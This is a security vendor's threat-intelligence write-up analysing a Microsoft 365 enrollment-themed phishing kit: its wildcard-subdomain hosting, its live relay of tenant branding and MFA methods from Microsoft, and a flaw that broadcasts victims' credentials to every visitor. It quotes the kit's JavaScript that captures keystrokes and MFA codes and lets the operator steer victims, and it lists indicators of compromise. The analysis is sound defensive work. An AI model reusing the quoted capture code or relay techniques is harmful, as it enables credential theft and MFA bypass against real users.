Doppel Email Security is now generally available
The agentic email security solution that empowers you to fight back against social engineering attacks. Detection isn't enough. Disruption is the difference.
The SSO enrollment phishing kit hosts no branded content of its own. It asks Microsoft for your organization's genuine tenant branding at the moment a victim types their address, so every Microsoft 365 tenant with custom branding is a target at no extra cost to the attacker. Nothing brand-specific reaches a certificate log, and the same page broadcasts every credential it steals to everyone who loads it.
by DJ Peterson

A phishing kit we identified and analyzed this month gets two things right that most do not, and one thing catastrophically wrong.
It hosts nothing branded, so there is nothing branded to detect. The kit serves only on subdomains of neutral, enrollment-themed apex domains: no address record at the root, a wildcard certificate covering every subdomain beneath it, and the victim's brand living only in the leftmost label of the hostname. That label reaches no certificate, no certificate transparency log, and often no passive DNS record. Brand-keyword monitoring has nothing to match.
It borrows the impersonation from Microsoft, live. When a victim types their work email address, the kit relays it to Microsoft's real credential-type endpoint and renders the organization's genuine logo and background onto the page. The same response lists every authentication method that the tenant has enabled, so the operator knows which second factor to request before the victim sees anything. The target branding set is therefore not a list the attacker had to build. It is every Microsoft 365 tenant with custom branding configured.
It broadcasts its own victims. The kit's real-time channel is created with no isolation between clients, so the operator's dashboard feed reaches every browser that loads the page. The table we captured held 576 sessions, 56 carrying entered data and 33 carrying a password. Every organization caught in that flow had its credentials exposed to everyone else in the funnel.

The operator's own console, headed JP PANEL over OPERATOR ACCESS, served publicly from the same host as the phishing page and was gated behind a six-digit authenticator code. Note: We did not attempt to authenticate.
One line of code exposes the entire operation
The kit's real-time channel is created with const socket = io();. Called with no arguments, io() joins a single default channel shared by every connected client, with no per-victim segregation.
The operator's dashboard feed publishes on the same channel, so harvested credentials and one-time codes intended for the operator's console are also pushed to victims' browsers.
The brand lives in the subdomain, so it enters no log
The victim's brand appears only in the leftmost label of the hostname, the subdomain, which the wildcard certificate covers without ever naming. Brand-keyword certificate monitoring cannot fire on it, and neither can a brand watchlist, because no brand string appears in anything the operator registers.
The kit asks Microsoft which factor to phish
Before showing the victim anything, the kit asks Microsoft's real credential-type API which authentication methods the target tenant has enabled and which it prefers. The victim's genuine logo comes back in the same response, so the branding is a side effect of a reconnaissance call.
The stolen branding leaves a detection signal that needs no brand matching
The victim's browser fetches the tenant’s logo straight from Microsoft's branding CDN, carrying the phishing host as its referer. The referer mismatch is detectable with no brand list and no indicator feed, and it survives every domain rotation the operator makes.
Number matching does not stop it, and containment does not remove it
The operator relays the genuine Authenticator challenge number into the victim's page, so number matching does not help. Two of the ten panels then enroll a credential the attacker keeps, which survives a password reset and a session revocation.
Three properties combine to remove this kit from view.
No address record at the root. On the apexes behind a content delivery network, the registered domain resolves nothing and only subdomains serve content, so a scan of the apex comes back empty. Not universal: the two apexes pointing straight at an origin do answer at the apex.
A wildcard certificate. A major delivery network issues one covering *.<apex>and the bare apex, free and unasked. That single wildcard spans every possible subdomain without naming one. Every certificate on the two hosts where we read the kit is exactly that shape, so a pipeline watching certificate transparency for a brand keyword never sees <organization>.<apex>. The wildcard is not clever tradecraft; it is a default of the hosting choice, which is also why the blindness is not absolute: an operator who instead requests a certificate for one named host does put the organization label into the logs. We saw that once elsewhere in this namespace, on an apex outside this kit's confirmed set. Low-yield here, not useless.
Wildcard DNS. These apexes answer every possible subdomain. Under RFC 4592, a wildcard answers at any label depth, not only one, and we verified that names such as a.b.c.<apex> resolve. That leaves the operator room to nest a victim's genuine domain inside the hostname.
The trap this sets for defenders. On a wildcard apex, an organization-shaped label proves nothing. We confirmed it directly: on one live apex, an arbitrary control label served the kit exactly as an organization name did. Any brand-shaped hostname recovered from that apex’s scan history or passive DNS may simply be a name a researcher once queried. Test a random control label first, and never read a target list off a wildcard.
Enforcement follows from the same property. Removing one hostname leaves every other name answering, including names nobody has enumerated, so blocking has to happen at the apex.
The net effect: the only artifact the operator must expose publicly is a neutral apex built from enrollment vocabulary. Everything brand-specific happens below it, in a label with no log records.
The kit is a single page, unminified and unobfuscated, with all of its logic readable. It loads the Socket.IO client from the library's own public distribution point, which makes the request indistinguishable from ordinary use of a common dependency, then opens a channel to the same origin:
<script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>const socket = io();The handshake is stock Engine.IO, /socket.io/?EIO=4&transport=websocket&sid=<session_id>, with the library's own protocol-level ping and pong on the channel. Nothing about the transport is bespoke, which is a large part of why it is hard to spot: there is no custom path or custom framing to sign.
It also differs from better-known kits in this class: neither the custom socket path Sekoia documented for Tycoon 2FA (opens in new tab) nor the backend relay they documented for Mamba 2FA (opens in new tab).
Because io() takes no namespace argument and the code never joins a room, every connected client shares one broadcast channel. That single-line omission is the flaw described later.

The live page was served, unminified. Line 7 sets a consumer-account page title on a kit aimed at enterprise tenants, and line 8 loads the real-time library from its public distribution point.

The kit's full load sequence on a live host. The self-hosted copy of Microsoft's login shield animation, content hash intact, is the highest-precision fingerprint we found. Below it the real-time library negotiates over HTTP polling, then upgrades to a WebSocket that stays open for the life of the session.
function applyBrandingFromResponse(text) {
const branding = text?.EstsProperties?.UserTenantBranding?.[0];
if (!branding) return;
const BannerLogo = branding.BannerLogo;
const background = branding.Illustration;
if (BannerLogo != undefined) {
document.getElementById('ms-logo').style.opacity = '0';
document.getElementById('busi-logo').style.opacity = '1';
document.getElementById('busi-logo').src = BannerLogo;
}
if (background) {
document.body.style.backgroundImage = 'url("' + background + '")';
}
}EstsProperties.UserTenantBranding[0] is the response shape of Microsoft's real credential-type endpoint. We verified the relay by submitting an address on a domain that does not exist. The response carried a valid apiCanary, a token issued by Microsoft's own token service that the kit cannot manufacture, which establishes /check/ as a true pass-through rather than fabricated JSON.
The payload shows what the call is really for:
{
"Credentials": {
"CertAuthParams": null, "FidoParams": null,
"RemoteNgcParams": null, "SasParams": null,
"QrCodePinParams": null, "GoogleParams": null,
"FacebookParams": null, "HasPassword": true,
"PrefCredential": 1
},
"EstsProperties": { "DomainType": 1 },
"IfExistsResult": 1
}Every *Params field is an authentication method the tenant may have enabled, and PrefCredential names the preferred one. On a real target, these fields are populated, telling the operator whether to expect a security key, a push, an SMS code, or a certificate. That is why the kit ships panels for all of them.
We then submitted an address on Microsoft's own tenant, chosen so no third party was exposed:
GET https://<organization>.mfapasskey[.]live/check/admin%40microsoft.com
-> 200 application/json (relayed credential-type response)GET https://aadcdn.msauthimages.net/<tenant-id>/logintenantbranding/0/bannerlogo
Referer: https://<organization>.mfapasskey[.]live/
-> 214,581 bytes image/* Last-Modified: Wed, 09 Oct 2024GET https://aadcdn.msauthimages.net/<tenant-id>/logintenantbranding/0/illustration
Referer: https://<organization>.mfapasskey[.]live/
-> 3,666 bytes image/* Last-Modified: Wed, 21 Nov 2018The attacker hosts no branded content at any point. The browser pulls the genuine logo and background from Microsoft's own CDN, and both requests carry the phishing host as their referer. The 2018 and 2024 modification dates are Microsoft's own timestamps for those assets, consistent with authentic tenant assets rather than staged copies.
Timing is what matters to a victim.The kit has a boot-time branding probe, but it sits behind a ternary requiring a preset domain that the operator left unset, so it never fires. The only /check/ call that runs uses the victim's real address at the moment they submit it, and we confirmed no such request occurs on page load. The victim types their email into a generic Microsoft page, and their own logo and background appear on the password screen. The reassurance lands exactly when they are about to type the password.
One boundary: this works only against organizations that both have a tenant with the provider and have configured custom branding. We tested two well-known domains. One returned a full logo and background, the other nothing, because that organization does not use this provider for its own identity.
const PANELS = ['loading', 'signin', 'password', 'otp-email', 'otp-phone', 'device', 'prompt', 'passkey1', 'passkey2', 'done'];Ten panels cover credential capture, both one-time-code channels, the device-code flow, push approval, and two passkey enrollment steps.
Exfiltration binds to the input event rather than to form submission, so a victim who starts typing and then reconsiders has already surrendered what they typed:
// Report keystrokes to admin
document.getElementById('email-input').addEventListener('input', e => {
socket.emit('field_input', { field: 'email', value: e.target.value });
});The same pattern covers the password field, the passkey field, and both one-time-code rows. Traffic flows the other way too, which is what makes this an operator console rather than an automated relay:
// Admin forces panel change
socket.on('force_panel', ({ panel }) => { devGoto(panel); });
socket.on('inject_field', (data) => {
if (data['field'] == "auth_code") {
document.getElementById('authnumber').innerText = data['value'];
} if (data['field'] == "phone") {
document.getElementById('otp-phone-dest').innerText = "+1 •••• •• " + data['value'].slice(-2);
}
});force_panel moves the victim to any stage in real time, chasing whichever second factor the genuine login demands. inject_field with auth_code is the number-match defeat. The phone branch renders the victim's own masked number from the same Microsoft lookup, so the one-time-code screen looks right. The author's comments call the operator "admin" throughout.

The server pushes two things on that shared channel: a periodic users_update carrying the operator's full session table, and a user_field_input echo of every field entry. Both are the operator's dashboard feed, and with no per-client isolation, both reach victim browsers. Each table entry carries a session identifier, the visitor's address as the delivery network sees it, browser and operating-system string, device class, elapsed connection time, stage reached, the data entered, including credentials and one-time codes, and whether the visitor is still present.
It is a persistent log, not a live view. We captured the same broadcast twice, several days apart and from different vantage points, and the first entry was byte-for-byte identical both times, already marked as gone. The operator never prunes it.
The second broadcast is worse. Every field entry from every session is echoed to all connected clients, tagged with the originating session:
client -> server 42["field_input",{"field":"email","value":"<address>"}]
server -> ALL 42["user_field_input",{"sid":"<other session>","field":"email","value":"<address>"}]A connected observer does not just receive periodic snapshots. They watch other people type, entry by entry. Combined with the per-keystroke capture above, this makes another victim's password field readable by anyone with the page open.
Our larger capture ran to roughly 150 KB and held 560 sessions. Of these, fifty-six carried entered data: 33 a password, 7 an emailed one-time code, 1 a push-approval number. Those count what the operator captured, not real credentials. Many are synthetic values, most likely typed by researchers, competing vendors, and people abusing the operator. Read a log like this as a victim list without filtering, and you will overcount badly. The organizations represented spanned investment management, private equity, venture capital, insurance broking, industrials, energy, technology and legal services, which makes this a targeted operation against capital markets and professional services rather than commodity phishing. No organization is named here, and notification is being handled separately.
The error is architectural, not incidental. Every function in this kit handles its own edge cases: early returns on missing data, element existence checks, catch handlers on every network call. Nobody asked what happens when the victim page and the operator dashboard share one broadcast channel.
WHAT THIS MEANS FOR INCIDENT SCOPE
A kit that broadcasts its own victim table changes the exposure calculation after an incident. Credentials harvested from one organization were readable by every other party connected to that deployment, including parties the operator never chose. Anyone scoping exposure from an incident involving this kit should assume captured credentials may have traveled beyond the original operator.
The console is served from /loginon the same host as the victim-facing page, with /admin redirecting to it. It is credential-gated, and we did not attempt to authenticate, so everything below is read from the page it serves anonymously and from the victim-side code.
It is a named product, and it was renamed. The visible heading reads JP PANEL, over a subtitle of OPERATOR ACCESS. The browser tab title on that same page still reads FemboyPanel. Two names in one document, one updated and one not, which is the shape of a rename that never propagated past the element the operator was actually looking at. Both are the operator's own strings, both are unusual enough to be worth carrying as pivot terms, and the mismatch dates the tool: JP PANEL is the current label and the tab title is what it was called before.
The gate. The form takes a username with the placeholder of "operator handle," implying more than one, plus a six-digit code from an authenticator app, posted to /login with the code field marked autocomplete="one-time-code". The operator requires time-based two-factor authentication to reach their own dashboard. The people they rob get a page built to defeat exactly that.
Someone spent time (or tokens) on it. This is not a stock admin template. The page pulls three typefaces (Inter, Orbitron, and Share Tech Mono) and defines a deliberate palette in CSS variables: hot pink #ff69b4, neon pink #ff2d9e, neon cyan #00fff7, and green #00ffa3 on a near-black #05010e. The submit button reads ⬡ AUTHENTICATE. The victim-facing page is a careful Microsoft clone; the operator's own tool is a styled product with a brand.
What it can do, read from the victim's side. We never saw the dashboard, but the client code names every message it sends and receives, which establishes the console's feature set without logging in. It carries a live session table covering every connected visitor, with address, browser, operating system, device class, connection age, current panel, and captured data. It carries a per-keystroke feed of what each visitor is typing. force_panel drives any visitor to any of the ten stages on demand, and inject_field writes the Authenticator challenge number and a masked phone number into their page.
One column in that table is always empty: campaign. A phishing platform with paying subscribers has to attribute each capture to whoever sent the victim. This one never populates it, which is weak evidence for a single operator rather than a multi-tenant service.
No operator. Registration records across the set are privacy-protected; nothing we recovered identifies an individual, and the console gave us only a product name and an operator-handle field.
No published cluster. Enrollment-themed phishing against Microsoft 365 predates this kit, and the enrollment-vocabulary naming scheme is common to several separately tracked groups, so it carries no weight as a discriminator. Every host named below is one where we verified a kit artifact ourselves. Adjacent domains that merely matched the naming pattern are excluded deliberately.
No victim count. The operator's log is a persistent accumulator that includes researchers and abuse traffic. Any number drawn from it is an upper bound on sessions, not a count of victims.
Hosts as of 07AUG2026, separated by what we verified. The strength of evidence differs between groups, and collapsing them would misrepresent it.
Kit source read in full. Two hosts, byte-identical apart from per-zone artifacts inserted by the content delivery network, five weeks apart and across a domain migration.
Indicator | Note |
| mfapasskey[.]live | Live at time of writing. Source read from a browser after passing the bot challenge |
| mfa-passkey[.]com | Registrar suspended. Source read before suspension |
Identical asset at the identical path. Seven hosts serve the kit's locally mirrored copy of Microsoft's login shield animation at exactly /files/shield_av1_white_a20387c6c0b5dbc469cd.mp4. We did not read their source, so this is a deployment-convention match rather than a confirmed build.
auth-passkey[.]com, auth-passkey0[.]com, newuser-passkey[.]com(and www), itkeysync[.]com, itkeyregister[.]com, mfakeysetup[.]com, plus one organization-labelled host on mfa-passkey[.]com.
Same asset, different path convention.efficency[.]cfd, firstbuildx[.]com and hr6678reports.integritysigns[.]sbsmirror the same Microsoft asset from long randomized directories rather than/files/. They share an artifact without sharing the deployment convention, so they may be an earlier generation of the same tooling or a different kit that scraped the same Microsoft page. We are not claiming they run the build documented here.
Kit fingerprints, in descending precision.
Apex naming pattern. An enrollment verb or possessive prefix (add, create, start, register, setup, activate, enable, check, enroll, my, new, secure) plus an authentication noun (passkey, passkeys, mfa, 2fa, webauthn, sso, okta, ms). No brand string is present, so a brand watchlist will not surface it.
Two exclusions, learned the hard way. Parking and aftermarket services answer every subdomain by design, so exclude candidates on parking-provider nameservers before alerting. A lexeme match plus a wildcard is not sufficient either. Three domains in our own working set matched and turned out to be unrelated businesses: a search-engine-spam content farm, an Arabic-language travel-visa blog, and a crypto-adjacent site whose certificate history showed download, financial, futures, and launchpad subdomains across six certificate authorities, nothing like this kit's one-label-per-organization scheme. None carried a kit marker. Retrieve and read the content before listing a domain as hostile.
This report covers one kit: its client-side source, transport, hosting model, and the hosts we confirmed serving it. Indexed activity runs 29JUL2026 to 07AUG2026, with certificate and registration records examined without a window limit.
We read the kit's source from two deployments captured five weeks apart, resolved names against every apex, including a deliberately random control label on each, reviewed certificate transparency across the family, submitted third-party scans so retrieval did not originate from our own infrastructure, and interacted with a live deployment from an isolated analyst environment.
We entered only synthetic values. No real credential was submitted at any point; the addresses we used were either non-existent or belonged to the impersonated provider itself, and we did not attempt to authenticate to the operator's console. Everything attributed to the kit's logic is read from its client-side source, delivered unminified and unobfuscated to every visitor.
Findings are based on Doppel telemetry across a global customer base, with strongest coverage in North America. Hostnames embedding a victim's brand are written as <organization>.<apex>.
A NOTE ON WHAT WE ARE NOT PUBLISHING
We name the two broadcast events and describe how the exposure arises, because defenders and identity providers need to understand it, and because naming them confers no capability: they are unsolicited broadcasts, so any client that connects receives them whether or not it knows what they are called. We reproduce no captured victim data. Every field value shown here is our own test input.
Prepared by Doppel SECR
BLOG
Kali365 is a new phishing kit that steals Microsoft 365 access tokens without harvesting passwords or triggering MFA prompts. Learn how this FBI-highlighted threat abuses legitimate Microsoft authentication workflows—and what security teams must do to stop it.
by Aarsh Jawa